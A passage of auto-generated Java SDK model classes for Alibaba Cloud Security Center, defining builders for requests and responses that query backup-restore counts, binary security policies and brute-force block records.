public Builder toBuilder() {
return new Builder(this);
}
public static final class Builder extends Request.Builder<DescribeBackupRestoreCountRequest, Builder> {
private Builder() {
super();
}
private Builder(DescribeBackupRestoreCountRequest request) {
super(request);
}
@Override
public DescribeBackupRestoreCountRequest build() {
return new DescribeBackupRestoreCountRequest(this);
}
}
}
|
0 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203/models/DescribeBackupRestoreCountResponse.java | // This file is auto-generated, don't edit it. Thanks.
package com.aliyun.sdk.service.sas20181203.models;
import com.aliyun.sdk.gateway.pop.*;
import darabonba.core.*;
import darabonba.core.async.*;
import darabonba.core.sync.*;
import darabonba.core.client.*;
import darabonba.core.RequestModel;
import darabonba.core.TeaModel;
import com.aliyun.sdk.gateway.pop.models.*;
/**
*
* {@link DescribeBackupRestoreCountResponse} extends {@link TeaModel}
*
* <p>DescribeBackupRestoreCountResponse</p>
*/
public class DescribeBackupRestoreCountResponse extends Response {
@com.aliyun.core.annotation.NameInMap("headers")
private java.util.Map<String, String> headers;
@com.aliyun.core.annotation.NameInMap("statusCode")
private Integer statusCode;
@com.aliyun.core.annotation.NameInMap("body")
private DescribeBackupRestoreCountResponseBody body;
private DescribeBackupRestoreCountResponse(BuilderImpl builder) {
super(builder);
this.headers = builder.headers;
this.statusCode = builder.statusCode;
this.body = builder.body;
}
public static DescribeBackupRestoreCountResponse create() {
return new BuilderImpl().build();
}
@Override
public Builder toBuilder() {
return new BuilderImpl(this);
}
/**
* @return headers
*/
public java.util.Map<String, String> getHeaders() {
return this.headers;
}
/**
* @return statusCode
*/
public Integer getStatusCode() {
return this.statusCode;
}
/**
* @return body
*/
public DescribeBackupRestoreCountResponseBody getBody() {
return this.body;
}
public interface Builder extends Response.Builder<DescribeBackupRestoreCountResponse, Builder> {
Builder headers(java.util.Map<String, String> headers);
Builder statusCode(Integer statusCode);
Builder body(DescribeBackupRestoreCountResponseBody body);
@Override
DescribeBackupRestoreCountResponse build();
}
private static final class BuilderImpl
extends Response.BuilderImpl<DescribeBackupRestoreCountResponse, Builder>
implements Builder {
private java.util.Map<String, String> headers;
private Integer statusCode;
private DescribeBackupRestoreCountResponseBody body;
private BuilderImpl() {
super();
}
private BuilderImpl(DescribeBackupRestoreCountResponse response) {
super(response);
this.headers = response.headers;
this.statusCode = response.statusCode;
this.body = response.body;
}
/**
* headers.
*/
@Override
public Builder headers(java.util.Map<String, String> headers) {
this.headers = headers;
return this;
}
/**
* statusCode.
*/
@Override
public Builder statusCode(Integer statusCode) {
this.statusCode = statusCode;
return this;
}
/**
* body.
*/
@Override
public Builder body(DescribeBackupRestoreCountResponseBody body) {
this.body = body;
return this;
}
@Override
public DescribeBackupRestoreCountResponse build() {
return new DescribeBackupRestoreCountResponse(this);
}
}
}
|
0 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203/models/DescribeBackupRestoreCountResponseBody.java | // This file is auto-generated, don't edit it. Thanks.
package com.aliyun.sdk.service.sas20181203.models;
import com.aliyun.sdk.gateway.pop.*;
import darabonba.core.*;
import darabonba.core.async.*;
import darabonba.core.sync.*;
import darabonba.core.client.*;
import darabonba.core.RequestModel;
import darabonba.core.TeaModel;
import com.aliyun.sdk.gateway.pop.models.*;
/**
*
* {@link DescribeBackupRestoreCountResponseBody} extends {@link TeaModel}
*
* <p>DescribeBackupRestoreCountResponseBody</p>
*/
public class DescribeBackupRestoreCountResponseBody extends TeaModel {
@com.aliyun.core.annotation.NameInMap("BackupRestoreCount")
private BackupRestoreCount backupRestoreCount;
@com.aliyun.core.annotation.NameInMap("RequestId")
private String requestId;
private DescribeBackupRestoreCountResponseBody(Builder builder) {
this.backupRestoreCount = builder.backupRestoreCount;
this.requestId = builder.requestId;
}
public static Builder builder() {
return new Builder();
}
public static DescribeBackupRestoreCountResponseBody create() {
return builder().build();
}
public Builder toBuilder() {
return new Builder(this);
}
/**
* @return backupRestoreCount
*/
public BackupRestoreCount getBackupRestoreCount() {
return this.backupRestoreCount;
}
/**
* @return requestId
*/
public String getRequestId() {
return this.requestId;
}
public static final class Builder {
private BackupRestoreCount backupRestoreCount;
private String requestId;
private Builder() {
}
private Builder(DescribeBackupRestoreCountResponseBody model) {
this.backupRestoreCount = model.backupRestoreCount;
this.requestId = model.requestId;
}
/**
* <p>The statistics of restoration tasks.</p>
*/
public Builder backupRestoreCount(BackupRestoreCount backupRestoreCount) {
this.backupRestoreCount = backupRestoreCount;
return this;
}
/**
* <p>The ID of the request, which is used to locate and troubleshoot issues.</p>
*
* <strong>example:</strong>
* <p>ECC6B3E3-D496-512D-B46D-E6996A6B63EE</p>
*/
public Builder requestId(String requestId) {
this.requestId = requestId;
return this;
}
public DescribeBackupRestoreCountResponseBody build() {
return new DescribeBackupRestoreCountResponseBody(this);
}
}
/**
*
* {@link DescribeBackupRestoreCountResponseBody} extends {@link TeaModel}
*
* <p>DescribeBackupRestoreCountResponseBody</p>
*/
public static class BackupRestoreCount extends TeaModel {
@com.aliyun.core.annotation.NameInMap("Recovering")
private Integer recovering;
@com.aliyun.core.annotation.NameInMap("Total")
private Integer total;
private BackupRestoreCount(Builder builder) {
this.recovering = builder.recovering;
this.total = builder.total;
}
public static Builder builder() {
return new Builder();
}
public static BackupRestoreCount create() {
return builder().build();
}
/**
* @return recovering
*/
public Integer getRecovering() {
return this.recovering;
}
/**
* @return total
*/
public Integer getTotal() {
return this.total;
}
public static final class Builder {
private Integer recovering;
private Integer total;
private Builder() {
}
private Builder(BackupRestoreCount model) {
this.recovering = model.recovering;
this.total = model.total;
}
/**
* <p>The number of the restoration tasks that are in the <strong>being restored</strong> state.</p>
*
* <strong>example:</strong>
* <p>3</p>
*/
public Builder recovering(Integer recovering) {
this.recovering = recovering;
return this;
}
/**
* <p>The total number of the restoration tasks that you create.</p>
*
* <strong>example:</strong>
* <p>30</p>
*/
public Builder total(Integer total) {
this.total = total;
return this;
}
public BackupRestoreCount build() {
return new BackupRestoreCount(this);
}
}
}
}
|
0 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203/models/DescribeBinarySecurityPoliciesRequest.java | // This file is auto-generated, don't edit it. Thanks.
package com.aliyun.sdk.service.sas20181203.models;
import com.aliyun.sdk.gateway.pop.*;
import darabonba.core.*;
import darabonba.core.async.*;
import darabonba.core.sync.*;
import darabonba.core.client.*;
import darabonba.core.RequestModel;
import darabonba.core.TeaModel;
import com.aliyun.sdk.gateway.pop.models.*;
/**
*
* {@link DescribeBinarySecurityPoliciesRequest} extends {@link RequestModel}
*
* <p>DescribeBinarySecurityPoliciesRequest</p>
*/
public class DescribeBinarySecurityPoliciesRequest extends Request {
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("CurrentPage")
private Integer currentPage;
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("Name")
private String name;
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("PageSize")
private Integer pageSize;
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("ResourceOwnerId")
private Long resourceOwnerId;
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("SourceIp")
private String sourceIp;
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("Status")
private String status;
private DescribeBinarySecurityPoliciesRequest(Builder builder) {
super(builder);
this.currentPage = builder.currentPage;
this.name = builder.name;
this.pageSize = builder.pageSize;
this.resourceOwnerId = builder.resourceOwnerId;
this.sourceIp = builder.sourceIp;
this.status = builder.status;
}
public static Builder builder() {
return new Builder();
}
public static DescribeBinarySecurityPoliciesRequest create() {
return builder().build();
}
@Override
public Builder toBuilder() {
return new Builder(this);
}
/**
* @return currentPage
*/
public Integer getCurrentPage() {
return this.currentPage;
}
/**
* @return name
*/
public String getName() {
return this.name;
}
/**
* @return pageSize
*/
public Integer getPageSize() {
return this.pageSize;
}
/**
* @return resourceOwnerId
*/
public Long getResourceOwnerId() {
return this.resourceOwnerId;
}
/**
* @return sourceIp
*/
public String getSourceIp() {
return this.sourceIp;
}
/**
* @return status
*/
public String getStatus() {
return this.status;
}
public static final class Builder extends Request.Builder<DescribeBinarySecurityPoliciesRequest, Builder> {
private Integer currentPage;
private String name;
private Integer pageSize;
private Long resourceOwnerId;
private String sourceIp;
private String status;
private Builder() {
super();
}
private Builder(DescribeBinarySecurityPoliciesRequest request) {
super(request);
this.currentPage = request.currentPage;
this.name = request.name;
this.pageSize = request.pageSize;
this.resourceOwnerId = request.resourceOwnerId;
this.sourceIp = request.sourceIp;
this.status = request.status;
}
/**
* <p>The page number.</p>
*
* <strong>example:</strong>
* <p>1</p>
*/
public Builder currentPage(Integer currentPage) {
this.putQueryParameter("CurrentPage", currentPage);
this.currentPage = currentPage;
return this;
}
/**
* <p>The name of the policy.</p>
*
* <strong>example:</strong>
* <p>policy-auto-5patxz</p>
*/
public Builder name(String name) {
this.putQueryParameter("Name", name);
this.name = name;
return this;
}
/**
* <p>The number of entries per page.</p>
*
* <strong>example:</strong>
* <p>20</p>
*/
public Builder pageSize(Integer pageSize) {
this.putQueryParameter("PageSize", pageSize);
this.pageSize = pageSize;
return this;
}
/**
* ResourceOwnerId.
*/
public Builder resourceOwnerId(Long resourceOwnerId) {
this.putQueryParameter("ResourceOwnerId", resourceOwnerId);
this.resourceOwnerId = resourceOwnerId;
return this;
}
/**
* <p>The source IP address.</p>
*
* <strong>example:</strong>
* <p>59.82.XXX.XXX</p>
*/
public Builder sourceIp(String sourceIp) {
this.putQueryParameter("SourceIp", sourceIp);
this.sourceIp = sourceIp;
return this;
}
/**
* <p>The status of the policy. Valid values:</p>
* <ul>
* <li><strong>enabled</strong></li>
* <li><strong>disabled</strong></li>
* </ul>
*
* <strong>example:</strong>
* <p>enabled</p>
*/
public Builder status(String status) {
this.putQueryParameter("Status", status);
this.status = status;
return this;
}
@Override
public DescribeBinarySecurityPoliciesRequest build() {
return new DescribeBinarySecurityPoliciesRequest(this);
}
}
}
|
0 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203/models/DescribeBinarySecurityPoliciesResponse.java | // This file is auto-generated, don't edit it. Thanks.
package com.aliyun.sdk.service.sas20181203.models;
import com.aliyun.sdk.gateway.pop.*;
import darabonba.core.*;
import darabonba.core.async.*;
import darabonba.core.sync.*;
import darabonba.core.client.*;
import darabonba.core.RequestModel;
import darabonba.core.TeaModel;
import com.aliyun.sdk.gateway.pop.models.*;
/**
*
* {@link DescribeBinarySecurityPoliciesResponse} extends {@link TeaModel}
*
* <p>DescribeBinarySecurityPoliciesResponse</p>
*/
public class DescribeBinarySecurityPoliciesResponse extends Response {
@com.aliyun.core.annotation.NameInMap("headers")
private java.util.Map<String, String> headers;
@com.aliyun.core.annotation.NameInMap("statusCode")
private Integer statusCode;
@com.aliyun.core.annotation.NameInMap("body")
private DescribeBinarySecurityPoliciesResponseBody body;
private DescribeBinarySecurityPoliciesResponse(BuilderImpl builder) {
super(builder);
this.headers = builder.headers;
this.statusCode = builder.statusCode;
this.body = builder.body;
}
public static DescribeBinarySecurityPoliciesResponse create() {
return new BuilderImpl().build();
}
@Override
public Builder toBuilder() {
return new BuilderImpl(this);
}
/**
* @return headers
*/
public java.util.Map<String, String> getHeaders() {
return this.headers;
}
/**
* @return statusCode
*/
public Integer getStatusCode() {
return this.statusCode;
}
/**
* @return body
*/
public DescribeBinarySecurityPoliciesResponseBody getBody() {
return this.body;
}
public interface Builder extends Response.Builder<DescribeBinarySecurityPoliciesResponse, Builder> {
Builder headers(java.util.Map<String, String> headers);
Builder statusCode(Integer statusCode);
Builder body(DescribeBinarySecurityPoliciesResponseBody body);
@Override
DescribeBinarySecurityPoliciesResponse build();
}
private static final class BuilderImpl
extends Response.BuilderImpl<DescribeBinarySecurityPoliciesResponse, Builder>
implements Builder {
private java.util.Map<String, String> headers;
private Integer statusCode;
private DescribeBinarySecurityPoliciesResponseBody body;
private BuilderImpl() {
super();
}
private BuilderImpl(DescribeBinarySecurityPoliciesResponse response) {
super(response);
this.headers = response.headers;
this.statusCode = response.statusCode;
this.body = response.body;
}
/**
* headers.
*/
@Override
public Builder headers(java.util.Map<String, String> headers) {
this.headers = headers;
return this;
}
/**
* statusCode.
*/
@Override
public Builder statusCode(Integer statusCode) {
this.statusCode = statusCode;
return this;
}
/**
* body.
*/
@Override
public Builder body(DescribeBinarySecurityPoliciesResponseBody body) {
this.body = body;
return this;
}
@Override
public DescribeBinarySecurityPoliciesResponse build() {
return new DescribeBinarySecurityPoliciesResponse(this);
}
}
}
|
0 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203/models/DescribeBinarySecurityPoliciesResponseBody.java | // This file is auto-generated, don't edit it. Thanks.
package com.aliyun.sdk.service.sas20181203.models;
import com.aliyun.sdk.gateway.pop.*;
import darabonba.core.*;
import darabonba.core.async.*;
import darabonba.core.sync.*;
import darabonba.core.client.*;
import darabonba.core.RequestModel;
import darabonba.core.TeaModel;
import com.aliyun.sdk.gateway.pop.models.*;
/**
*
* {@link DescribeBinarySecurityPoliciesResponseBody} extends {@link TeaModel}
*
* <p>DescribeBinarySecurityPoliciesResponseBody</p>
*/
public class DescribeBinarySecurityPoliciesResponseBody extends TeaModel {
@com.aliyun.core.annotation.NameInMap("BinarySecurityPolicies")
private java.util.List<BinarySecurityPolicies> binarySecurityPolicies;
@com.aliyun.core.annotation.NameInMap("PageInfo")
private PageInfo pageInfo;
@com.aliyun.core.annotation.NameInMap("RequestId")
private String requestId;
private DescribeBinarySecurityPoliciesResponseBody(Builder builder) {
this.binarySecurityPolicies = builder.binarySecurityPolicies;
this.pageInfo = builder.pageInfo;
this.requestId = builder.requestId;
}
public static Builder builder() {
return new Builder();
}
public static DescribeBinarySecurityPoliciesResponseBody create() {
return builder().build();
}
public Builder toBuilder() {
return new Builder(this);
}
/**
* @return binarySecurityPolicies
*/
public java.util.List<BinarySecurityPolicies> getBinarySecurityPolicies() {
return this.binarySecurityPolicies;
}
/**
* @return pageInfo
*/
public PageInfo getPageInfo() {
return this.pageInfo;
}
/**
* @return requestId
*/
public String getRequestId() {
return this.requestId;
}
public static final class Builder {
private java.util.List<BinarySecurityPolicies> binarySecurityPolicies;
private PageInfo pageInfo;
private String requestId;
private Builder() {
}
private Builder(DescribeBinarySecurityPoliciesResponseBody model) {
this.binarySecurityPolicies = model.binarySecurityPolicies;
this.pageInfo = model.pageInfo;
this.requestId = model.requestId;
}
/**
* <p>The information about security policies.</p>
*/
public Builder binarySecurityPolicies(java.util.List<BinarySecurityPolicies> binarySecurityPolicies) {
this.binarySecurityPolicies = binarySecurityPolicies;
return this;
}
/**
* <p>The pagination information.</p>
*/
public Builder pageInfo(PageInfo pageInfo) {
this.pageInfo = pageInfo;
return this;
}
/**
* <p>The request ID.</p>
*
* <strong>example:</strong>
* <p>1EE7B150-D67E-53FD-A52D-3E8E669A****</p>
*/
public Builder requestId(String requestId) {
this.requestId = requestId;
return this;
}
public DescribeBinarySecurityPoliciesResponseBody build() {
return new DescribeBinarySecurityPoliciesResponseBody(this);
}
}
/**
*
* {@link DescribeBinarySecurityPoliciesResponseBody} extends {@link TeaModel}
*
* <p>DescribeBinarySecurityPoliciesResponseBody</p>
*/
public static class Clusters extends TeaModel {
@com.aliyun.core.annotation.NameInMap("ClusterId")
private String clusterId;
@com.aliyun.core.annotation.NameInMap("Namespaces")
private java.util.List<String> namespaces;
private Clusters(Builder builder) {
this.clusterId = builder.clusterId;
this.namespaces = builder.namespaces;
}
public static Builder builder() {
return new Builder();
}
public static Clusters create() {
return builder().build();
}
/**
* @return clusterId
*/
public String getClusterId() {
return this.clusterId;
}
/**
* @return namespaces
*/
public java.util.List<String> getNamespaces() {
return this.namespaces;
}
public static final class Builder {
private String clusterId;
private java.util.List<String> namespaces;
private Builder() {
}
private Builder(Clusters model) {
this.clusterId = model.clusterId;
this.namespaces = model.namespaces;
}
/**
* <p>The ID of the cluster.</p>
*
* <strong>example:</strong>
* <p>c316702acdf5f45e1a9dc7fc52f21****</p>
*/
public Builder clusterId(String clusterId) {
this.clusterId = clusterId;
return this;
}
/**
* <p>The namespaces.</p>
*/
public Builder namespaces(java.util.List<String> namespaces) {
this.namespaces = namespaces;
return this;
}
public Clusters build() {
return new Clusters(this);
}
}
}
/**
*
* {@link DescribeBinarySecurityPoliciesResponseBody} extends {@link TeaModel}
*
* <p>DescribeBinarySecurityPoliciesResponseBody</p>
*/
public static class BinarySecurityPolicies extends TeaModel {
@com.aliyun.core.annotation.NameInMap("Clusters")
private java.util.List<Clusters> clusters;
@com.aliyun.core.annotation.NameInMap("Name")
private String name;
@com.aliyun.core.annotation.NameInMap("Policy")
private java.util.Map<String, ?> policy;
@com.aliyun.core.annotation.NameInMap("Remark")
private String remark;
@com.aliyun.core.annotation.NameInMap("Status")
private String status;
private BinarySecurityPolicies(Builder builder) {
this.clusters = builder.clusters;
this.name = builder.name;
this.policy = builder.policy;
this.remark = builder.remark;
this.status = builder.status;
}
public static Builder builder() {
return new Builder();
}
public static BinarySecurityPolicies create() {
return builder().build();
}
/**
* @return clusters
*/
public java.util.List<Clusters> getClusters() {
return this.clusters;
}
/**
* @return name
*/
public String getName() {
return this.name;
}
/**
* @return policy
*/
public java.util.Map<String, ?> getPolicy() {
return this.policy;
}
/**
* @return remark
*/
public String getRemark() {
return this.remark;
}
/**
* @return status
*/
public String getStatus() {
return this.status;
}
public static final class Builder {
private java.util.List<Clusters> clusters;
private String name;
private java.util.Map<String, ?> policy;
private String remark;
private String status;
private Builder() {
}
private Builder(BinarySecurityPolicies model) {
this.clusters = model.clusters;
this.name = model.name;
this.policy = model.policy;
this.remark = model.remark;
this.status = model.status;
}
/**
* <p>The information about clusters.</p>
*/
public Builder clusters(java.util.List<Clusters> clusters) {
this.clusters = clusters;
return this;
}
/**
* <p>The name of the policy.</p>
*
* <strong>example:</strong>
* <p>logtail</p>
*/
public Builder name(String name) {
this.name = name;
return this;
}
/**
* <p>The content of the policy. The value is in the JSON format. A key supports the following values:</p>
* <ul>
* <li><strong>policyMode</strong>: the type of the policy. Default value: requireAttestor.</li>
* <li><strong>requiredAttestors</strong>: the required witnesses.</li>
* </ul>
*
* <strong>example:</strong>
* <p>{"PolicyMode":"requireAttestor","RequiredAttestors":["test-xcs-04-11-hhht"]}</p>
*/
public Builder policy(java.util.Map<String, ?> policy) {
this.policy = policy;
return this;
}
/**
* <p>The description.</p>
*
* <strong>example:</strong>
* <p>test</p>
*/
public Builder remark(String remark) {
this.remark = remark;
return this;
}
/**
* <p>The status of the policy. Valid values:</p>
* <ul>
* <li><strong>enabled</strong></li>
* <li><strong>disabled</strong></li>
* </ul>
*
* <strong>example:</strong>
* <p>enabled</p>
*/
public Builder status(String status) {
this.status = status;
return this;
}
public BinarySecurityPolicies build() {
return new BinarySecurityPolicies(this);
}
}
}
/**
*
* {@link DescribeBinarySecurityPoliciesResponseBody} extends {@link TeaModel}
*
* <p>DescribeBinarySecurityPoliciesResponseBody</p>
*/
public static class PageInfo extends TeaModel {
@com.aliyun.core.annotation.NameInMap("Count")
private Integer count;
@com.aliyun.core.annotation.NameInMap("CurrentPage")
private Integer currentPage;
@com.aliyun.core.annotation.NameInMap("PageSize")
private Integer pageSize;
@com.aliyun.core.annotation.NameInMap("TotalCount")
private Integer totalCount;
private PageInfo(Builder builder) {
this.count = builder.count;
this.currentPage = builder.currentPage;
this.pageSize = builder.pageSize;
this.totalCount = builder.totalCount;
}
public static Builder builder() {
return new Builder();
}
public static PageInfo create() {
return builder().build();
}
/**
* @return count
*/
public Integer getCount() {
return this.count;
}
/**
* @return currentPage
*/
public Integer getCurrentPage() {
return this.currentPage;
}
/**
* @return pageSize
*/
public Integer getPageSize() {
return this.pageSize;
}
/**
* @return totalCount
*/
public Integer getTotalCount() {
return this.totalCount;
}
public static final class Builder {
private Integer count;
private Integer currentPage;
private Integer pageSize;
private Integer totalCount;
private Builder() {
}
private Builder(PageInfo model) {
this.count = model.count;
this.currentPage = model.currentPage;
this.pageSize = model.pageSize;
this.totalCount = model.totalCount;
}
/**
* <p>The number of entries returned on each page.</p>
*
* <strong>example:</strong>
* <p>20</p>
*/
public Builder count(Integer count) {
this.count = count;
return this;
}
/**
* <p>The page number.</p>
*
* <strong>example:</strong>
* <p>1</p>
*/
public Builder currentPage(Integer currentPage) {
this.currentPage = currentPage;
return this;
}
/**
* <p>The number of entries per page.</p>
*
* <strong>example:</strong>
* <p>20</p>
*/
public Builder pageSize(Integer pageSize) {
this.pageSize = pageSize;
return this;
}
/**
* <p>The total number of entries returned.</p>
*
* <strong>example:</strong>
* <p>218</p>
*/
public Builder totalCount(Integer totalCount) {
this.totalCount = totalCount;
return this;
}
public PageInfo build() {
return new PageInfo(this);
}
}
}
}
|
0 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203/models/DescribeBruteForceRecordsRequest.java | // This file is auto-generated, don't edit it. Thanks.
package com.aliyun.sdk.service.sas20181203.models;
import com.aliyun.sdk.gateway.pop.*;
import darabonba.core.*;
import darabonba.core.async.*;
import darabonba.core.sync.*;
import darabonba.core.client.*;
import darabonba.core.RequestModel;
import darabonba.core.TeaModel;
import com.aliyun.sdk.gateway.pop.models.*;
/**
*
* {@link DescribeBruteForceRecordsRequest} extends {@link RequestModel}
*
* <p>DescribeBruteForceRecordsRequest</p>
*/
public class DescribeBruteForceRecordsRequest extends Request {
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("BlockIp")
private String blockIp;
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("CurrentPage")
private Integer currentPage;
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("InstanceId")
private String instanceId;
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("PageSize")
private Integer pageSize;
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("Remark")
private String remark;
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("ResourceOwnerId")
private Long resourceOwnerId;
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("Status")
private Integer status;
private DescribeBruteForceRecordsRequest(Builder builder) {
super(builder);
this.blockIp = builder.blockIp;
this.currentPage = builder.currentPage;
this.instanceId = builder.instanceId;
this.pageSize = builder.pageSize;
this.remark = builder.remark;
this.resourceOwnerId = builder.resourceOwnerId;
this.status = builder.status;
}
public static Builder builder() {
return new Builder();
}
public static DescribeBruteForceRecordsRequest create() {
return builder().build();
}
@Override
public Builder toBuilder() {
return new Builder(this);
}
/**
* @return blockIp
*/
public String getBlockIp() {
return this.blockIp;
}
/**
* @return currentPage
*/
public Integer getCurrentPage() {
return this.currentPage;
}
/**
* @return instanceId
*/
public String getInstanceId() {
return this.instanceId;
}
/**
* @return pageSize
*/
public Integer getPageSize() {
return this.pageSize;
}
/**
* @return remark
*/
public String getRemark() {
return this.remark;
}
/**
* @return resourceOwnerId
*/
public Long getResourceOwnerId() {
return this.resourceOwnerId;
}
/**
* @return status
*/
public Integer getStatus() {
return this.status;
}
public static final class Builder extends Request.Builder<DescribeBruteForceRecordsRequest, Builder> {
private String blockIp;
private Integer currentPage;
private String instanceId;
private Integer pageSize;
private String remark;
private Long resourceOwnerId;
private Integer status;
private Builder() {
super();
}
private Builder(DescribeBruteForceRecordsRequest request) {
super(request);
this.blockIp = request.blockIp;
this.currentPage = request.currentPage;
this.instanceId = request.instanceId;
this.pageSize = request.pageSize;
this.remark = request.remark;
this.resourceOwnerId = request.resourceOwnerId;
this.status = request.status;
}
/**
* <p>The IP address that is blocked.</p>
*
* <strong>example:</strong>
* <p>175.106.XX.XX</p>
*/
public Builder blockIp(String blockIp) {
this.putQueryParameter("BlockIp", blockIp);
this.blockIp = blockIp;
return this;
}
/**
* <p>The number of the page to return.</p>
*
* <strong>example:</strong>
* <p>1</p>
*/
public Builder currentPage(Integer currentPage) {
this.putQueryParameter("CurrentPage", currentPage);
this.currentPage = currentPage;
return this;
}
/**
* <p>The ID of the server.</p>
*
* <strong>example:</strong>
* <p>i-bp1g6wxdwps7s9dz****</p>
*/
public Builder instanceId(String instanceId) {
this.putQueryParameter("InstanceId", instanceId);
this.instanceId = instanceId;
return this;
}
/**
* <p>The number of entries to return on each page. Default value: 20. If you leave this parameter empty, 20 entries are returned on each page. We recommend that you do not leave this parameter empty.</p>
*
* <strong>example:</strong>
* <p>20</p>
*/
public Builder pageSize(Integer pageSize) {
this.putQueryParameter("PageSize", pageSize);
this.pageSize = pageSize;
return this;
}
/**
* <p>The name or IP address of the server to query.</p>
*
* <strong>example:</strong>
* <p>1.2.XX.XX</p>
*/
public Builder remark(String remark) {
this.putQueryParameter("Remark", remark);
this.remark = remark;
return this;
}
/**
* ResourceOwnerId.
*/
public Builder resourceOwnerId(Long resourceOwnerId) {
this.putQueryParameter("ResourceOwnerId", resourceOwnerId);
this.resourceOwnerId = resourceOwnerId;
return this;
}
/**
* <p>The status of the defense rule. Valid values:</p>
* <ul>
* <li><strong>0</strong>: invalid</li>
* <li><strong>1</strong>: enabled</li>
* <li><strong>2</strong>: failed</li>
* </ul>
*
* <strong>example:</strong>
* <p>1</p>
*/
public Builder status(Integer status) {
this.putQueryParameter("Status", status);
this.status = status;
return this;
}
@Override
public DescribeBruteForceRecordsRequest build() {
return new DescribeBruteForceRecordsRequest(this);
}
}
}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.